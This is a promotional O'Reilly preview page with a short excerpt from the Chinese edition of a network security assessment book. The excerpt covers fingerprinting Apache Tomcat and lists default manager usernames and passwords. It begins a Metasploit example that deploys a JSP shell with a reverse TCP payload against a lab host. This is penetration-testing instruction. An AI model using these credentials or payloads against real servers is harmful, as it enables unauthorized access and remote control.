January 2021
Intermediate to advanced
547 pages
12h 4m
Chinese
Content preview from 网络安全评估（第三版）
Become an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
O’Reilly covers everything we've got, with content to help us build a world-class technology community, upgrade the capabilities and competencies of our teams, and improve overall team performance as well as their engagement.I wanted to learn C and C++, but it didn't click for me until I picked up an O'Reilly book. When I went on the O’Reilly platform, I was astonished to find all the books there, plus live events and sandboxes so you could play around with the technology.I’ve been on the O’Reilly platform for more than eight years. I use a couple of learning platforms, but I'm on O'Reilly more than anybody else. When you're there, you start learning. I'm never disappointed.I'm always learning. So when I got on to O'Reilly, I was like a kid in a candy store. There are playlists. There are answers. There's on-demand training. It's worth its weight in gold, in terms of what it allows me to do.
评估
Web
应用框架
｜
437
包括
JBoss
和
Apache Struts
在内的应用服务器也使用
Coyote
作为
Web
服
务器。测试中，会发现这样的服务器会返回一个
Server
的
HTTP
标头：
Apache-Coyote/1.1
。为避免把这类应用服务器误标记为
Apache Tomcat
（也
就是说
Catalina
），应该仔细查看返回的内容（包括
HTTP
标头和
cookies
）
并浏览当前的特定文件以确认隐含的容器。
管理器应用
管理器应用通过
/manager/html
提供一个控制界面。使用该界面需要数字证
书的认证，常用的缺省用户名
/
密码组合包括
admin/(blank)
、
xuser/cxuser
、
j2deployer/j2deployer
注
11
、
ovwebusr/ OvW*busr1
注
12
、
tomcat/tomcat
和
vcx/
vcx
。
一经认证，可以使用
Metasploit
tomcat_mgr_deploy
模块部署一个
JSP
命令壳，
如实例
14-3
所示。在这个案例中，本书在
192.168.0.20
终端使用缺省的数字
证 书（
tomcat/tomcat
）执行一个逆向壳，对
192.168.0.10
的
Linux
主机实施攻击。
实例 14-3：Metasploit tomcat_mgr_deploy 模块
msf >
use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) >
set payload linux/x86/shell/reverse_tcp ...
Become an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
and much more.
Read now
Unlock full access
More than 5,000 organizations count on O’Reilly
O’Reilly covers everything we've got, with content to help us build a world-class technology community, upgrade the capabilities and competencies of our teams, and improve overall team performance as well as their engagement.Julian F.
I wanted to learn C and C++, but it didn't click for me until I picked up an O'Reilly book. When I went on the O’Reilly platform, I was astonished to find all the books there, plus live events and sandboxes so you could play around with the technology.Addison B.
I’ve been on the O’Reilly platform for more than eight years. I use a couple of learning platforms, but I'm on O'Reilly more than anybody else. When you're there, you start learning. I'm never disappointed.Amir M.
I'm always learning. So when I got on to O'Reilly, I was like a kid in a candy store. There are playlists. There are answers. There's on-demand training. It's worth its weight in gold, in terms of what it allows me to do.